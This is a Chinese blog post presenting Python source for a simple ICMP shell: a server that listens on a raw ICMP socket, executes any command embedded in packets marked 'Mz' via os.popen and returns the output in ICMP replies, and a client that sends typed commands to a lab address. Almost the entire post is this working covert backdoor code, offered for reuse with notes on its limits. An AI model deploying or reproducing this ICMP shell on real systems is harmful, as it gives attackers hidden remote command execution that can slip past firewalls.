python | 一个简单的icmp shell实现(不完善)
python | 一个简单的icmp shell实现(不完善)
一个是server端,一个是cilent端,其实问题还是很多的,尤其是在真实网络中的时候,这个shell只适用于直连的情况,并且data不能太大(因为icmp的限制)
如果之后有空的话,可能会完善一下,目标是尽量建立在不需要更改系统配置的情况下去完成(但是由于NAT存在所以还是挺困难的,哎)
server:
import struct
import socket
import os
import array
def inCksum(packet):
if len(packet) & 1:
packet = packet + b'\0'
words = array.array('h', packet)
sum = 0
for word in words:
sum += (word & 0xffff)
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
return (~sum) & 0xffff
def get_icmp_pack(data):
header = struct.pack('bbHHh', 8, 0, 0, 12345, 0) # 创建头部
data = data.encode('utf-8')
packet = header + data
chkSum = inCksum(packet)
header = struct.pack('bbHHh', 8, 0, chkSum, 12345, 0)
icmp_pack = header + data
return icmp_pack
# 建立一个icmp服务器并循环监听
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp"))
s.bind(("0.0.0.0", 0))
while True:
# 接收的问题解决了,问题是如何回显呢
recv_packet, addr = s.recvfrom(1024)
# linux上和windows上收到的包好像不太一样md
if b'Mz' in recv_packet:
print(f"收到来自: {addr}")
type, code, checksum, packet_ID, sequence = struct.unpack("bbHHh", recv_packet[20:28]) # 前20个字节为ip头部信息,后8位为icmp头部信息
print("头部信息:", type, code, checksum, packet_ID, sequence)
data = recv_packet[recv_packet.index(b'Mz')+2:]
print("收到数据:",end='')
print(data)
# 执行命令
ret = os.popen(data.decode()).read()
print(ret)
_pack = get_icmp_pack(ret)
s.sendto(_pack, addr)
cilent:
import array
import socket
import struct
import time
def inCksum(packet):
if len(packet) & 1:
packet = packet + b'\0'
words = array.array('h', packet)
sum = 0
for word in words:
sum += (word & 0xffff)
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
return (~sum) & 0xffff
def get_icmp_pack(data):
header = struct.pack('bbHHh', 8, 0, 0, 12345, 0) # 创建头部
data = b"Mz"+data.encode('utf-8')
packet = header + data
chkSum = inCksum(packet)
header = struct.pack('bbHHh', 8, 0, chkSum, 12345, 0)
icmp_pack = header + data
return icmp_pack
while 1:
cmd = input("$ ")
icmp_pack = get_icmp_pack(cmd)
Sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp"))
Sock.sendto(icmp_pack , ("192.168.56.1", 0))
recv_packet, addr = Sock.recvfrom(1024)
type, code, checksum, packet_ID, sequence = struct.unpack("bbHHh", recv_packet[20:28]) # 前20个字节为ip头部信息,后8位为icmp头部信息
# 第一次的回包是系统回的
# print("头部信息:", type, code, checksum, packet_ID, sequence)
data = recv_packet[28:]
# print(data)
recv_packet, addr = Sock.recvfrom(1024)
type, code, checksum, packet_ID, sequence = struct.unpack("bbHHh", recv_packet[20:28]) # 前20个字节为ip头部信息,后8位为icmp头部信息
# print("头部信息:", type, code, checksum, packet_ID, sequence)
data = recv_packet[28:]
print(data)
本文来自博客园,作者:Mz1,转载请注明原文链接:https://www.cnblogs.com/Mz1-rc/p/16947140.html
如果有问题可以在下方评论或者email:mzi_mzi@163.com